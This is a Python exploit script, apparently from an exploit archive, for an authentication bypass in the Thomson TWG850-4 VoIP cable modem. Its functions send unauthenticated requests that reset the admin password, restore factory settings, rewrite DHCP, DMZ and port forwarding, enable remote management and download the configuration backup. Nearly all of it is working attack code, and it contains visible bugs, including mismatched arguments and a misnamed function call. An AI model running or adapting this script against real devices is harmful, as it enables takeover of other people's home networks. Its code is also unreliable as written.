# Exploit Title: Thomson Wireless VoIP Cable Modem Auth Bypass
# Date: February 22, 2011
# Author(s): Glafkos Charalambous, George Nicolaou
# Product: TWG850-4 Wireless VoIP Cable Modem
# Software Version: ST9A.01.06
# Severity: High
# Other Vulnerabilities: 
# Unauthenticated Backup File Access, 
# Plaintext Protocol succeptible to sniffing attacks

import argparse
import httplib
import urllib
import urllib2

def http_post( ip, port, request, params ):
    headers = {
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
        "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language":"en-us;en;q=0.5",
        "Accept-Encoding":"gzip, deflate",
        "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7",
        "Keep-Alive":"115",
        "Connection":"keep-alive",
        "Content-type":"application/x-www-form-urlencoded"
        }
    con = httplib.HTTPConnection(ip,port)
    con.request("POST", request, params, headers)
    response = con.getresponse()

def block_domain( ip, port, host ):
    http_post( ip,port,
	       "/goform/RgUrlBlock",
               urllib.urlencode( {"cbDomainBlocking":"0x2","BasicParentalNewKeyword":0, "BasicParentalKeywordAction":0, "BasicParentalDomainList":0, "BasicParentalNewDomain":host,"BasicParentalDomainAction":1} )
               )
def block_keyword( ip, port, host ):
    http_post( ip,port,
	       "/goform/RgUrlBlock",
               urllib.urlencode( {"cbKeywordBlocking":"0x1", "BasicParentalNewKeyword":host,"BasicParentalKeywordAction":1, "BasicParentalNewDomain":"0", "BasicParentralDomainAction":0} )
               )
        
def password_reset( ip, port, user="admin", passwd="admin" ):
    http_post(ip,port,
              "/goform/RgSecurity",
              urllib.urlencode({"HttpUserId":user, "Password":passwd, "PasswordReEnter":passwd, "RestoreFactoryYes":"0x00" })
              )

def factory_defaults( ip, port, user="admin", passwd="admin" ):
    http_post(ip,port,
              "/goform/RgSecurity",
              urllib.urlencode({"HttpUserId":user, "Password":passwd, "PasswordReEnter":passwd, "RestoreFactoryYes":"0x01" })
              )

def dhcp_config( ip, port, localip="10.1.0.1", localsub="255.255.255.0", leasepoolstart="10.1.0.10", leasepoolend="10.1.0.100" ):
    http_post(ip,port,
              "/goform/RgSetup",
              urllib.urlencode({"LocalIpAddressIP":localip, "LocalSubnetMask":localsub, "DhcpServerEnable":"0x1000", "DhcpLeasePoolStartLAN":leasepoolstart, "DhcpLeasePoolEndLAN":leasepoolend, "LeaseTime":"604800" })
              )

def dyn_dns( ip, port, dnsuser="user", dnspass="pass", dnshost="host.dyndns.org" ):
    http_post(ip,port,
              "/goform/RgDdns",
              urllib.urlencode({"DdnsService":1, "DdnsUserName":dnsuser, "DdnsPassword":dnspass, "DdnsHostName":dnshost })
              )

def sntp_set( ip, port, server1="clock.via.net", tserver2="ntp.nasa.gov", tserver3="tick.ucla.edu" ):
    http_post(ip,port,
              "/goform/RgTime",
              urllib.urlencode({"TimeSntpEnable":1, "TimeServer1":tserver1, "TimeServer2":tserver2, "TimeServer3":tserver3, "TimeZoneOffsetHrs":0, "TimeZoneOffsetMins":0, "ResetSntpDefaults":0 })
              )

def backup_config( ip, port, fName="GatewaySettings.bin" ):
    u = urllib2.urlopen('http://' + ip+":"+port + '/GatewaySettings.bin')
    lFile = open(fName, 'w')
    print "File "+fName+" saved successfully"
    lFile.write(u.read())
    lFile.close()

def remote_manage( ip, port, status ):
   if status == 'enable':
    http_post(ip,port,
	      "/goform/RgOptions",
              urllib.urlencode({"cbIpsecPassThrough":"0x20", "cbPptpPassThrough":"0x40", "cbRemoteManagement":"0x80", "cbOptMulticast": "0x20000", "cbOptUPnP":"0x200000", "cbOptNatSipAlg":"0x89"})
              )	
   elif status == 'disable':
    http_post(ip,port,
              "/goform/RgOptions",
              urllib.urlencode({"cbIpsecPassThrough":"0x20", "cbPptpPassThrough":"0x40", "cbOptMulticast": "0x20000", "cbOptUPnP":"0x200000", "cbOptNatSipAlg":"0x89"})
              )
   else:
    print "The argument you specified is not accepted"

def dmz_set( ip, port, dmzhost ):
    http_post(ip,port,
              "/goform/RgDmzHost",
              urllib.urlencode({"DmzHostIP3":dmzhost})
              )

def port_forward( ip, port, localip, startport, endport ):
    http_post(ip,port,
              "/goform/RgForwarding",
              urllib.urlencode({"PortForwardAddressLocal1IP3":localip, "PortForwardPortGlobalStart1":startport , "PortForwardPortGlobalEnd1":endport , "PortForwardProtocol1":"254", "PortForwardEnable1":"0x01"  })
              )

def main():
   status = ['enable', 'disable']
   argp = argparse.ArgumentParser(description='Thomson Cable Modem Auth Bypass v0.1')
   argp.add_argument("-pr", "--password_reset", nargs=2, help="Reset Admin Account", metavar=("user","pass"))
   argp.add_argument("-fd", "--factory_default", nargs=2, help="Reset Factory Defaults", metavar=("user","pass"))
   argp.add_argument("-bk", "--block_keyword", help="Block Web Access based on Keyword(s)", metavar="keywrd1,keywrd2,...,keywrdN")
   argp.add_argument("-bd", "--block_domain", help="Block Web Access to Specific Domain(s)",metavar="domain1,domain2,...,domainN")
   argp.add_argument("-dc", "--dhcp_config", nargs=4, help="Configure DHCP Settings",metavar=("localip","localsub","leasepoolstart", "leasepoolend"))
   argp.add_argument("-dd", "--dyn_dns", nargs=3, help="Configure Dynamic DNS",metavar=("user", "pass", "host"))
   argp.add_argument("-ss", "--sntp_set", nargs=3, help="Configure SNTP Settings",metavar=("timeserver1", "timeserver2", "timeserver3"))
   argp.add_argument("-bg", "--backup_config", help="Download Backup Configuration", metavar=("filename"))
   argp.add_argument("-rm", "--remote_manage", help="Enable Remote Config Management", metavar=("enable/disable"))
   argp.add_argument("-ds", "--dmz_set", help="Set DMZ Host. Use last 3 digits for IP Address", metavar=("ip"))
   argp.add_argument("-pf", "--port_forward", nargs=3, help="Configure Port Forwarding", metavar=("ip", "startport", "endport"))
   argp.add_argument("IP", help="IP Address")
   argp.add_argument("PORT", help="Port Number")
   args = argp.parse_args()
   if(args.password_reset != None):
       password_reset( args.IP, args.password_reset[0], args.password_reset[1] )
   if(args.factory_default != None):
       factory_default( args.IP, args.factory_default[0], args.factory_default[1] )
   if(args.block_keyword != None):
       for keyword in args.block_keyword.split(","):
           block_keyword(args.IP, keyword)
   if(args.block_domain != None):
        for domain in args.block_domain.split(","):
            block_domain( args.IP, domain )
   if(args.dhcp_config != None):
       dhcp_config( args.IP, args.dhcp_config[0], args.dhcp_config[1], args.dhcp_config[2], args.dhcp_config[3] )
   if(args.dyn_dns != None):
       dyn_dns( args.IP, args.dyn_dns[0], args.dyn_dns[1], args.dyn_dns[2] )
   if(args.sntp_set != None):
       sntp_set( args.IP, args.sntp_set[0], args.sntp_set[1], args.sntp_set[2] )
   if(args.backup_config != None):
       backup_config( args.IP, args.backup_config )
   if(args.remote_manage != None):
       remote_manage( args.IP, args.PORT, args.remote_manage )
   if(args.dmz_set != None):
       dmz_set( args.IP, args.PORT, int( args.dmz_set ))
   if(args.port_forward != None):
       port_forward( args.IP, args.PORT, args.port_forward[0], args.port_forward[1], args.port_forward[2] )
 
if __name__ == "__main__":
    main()
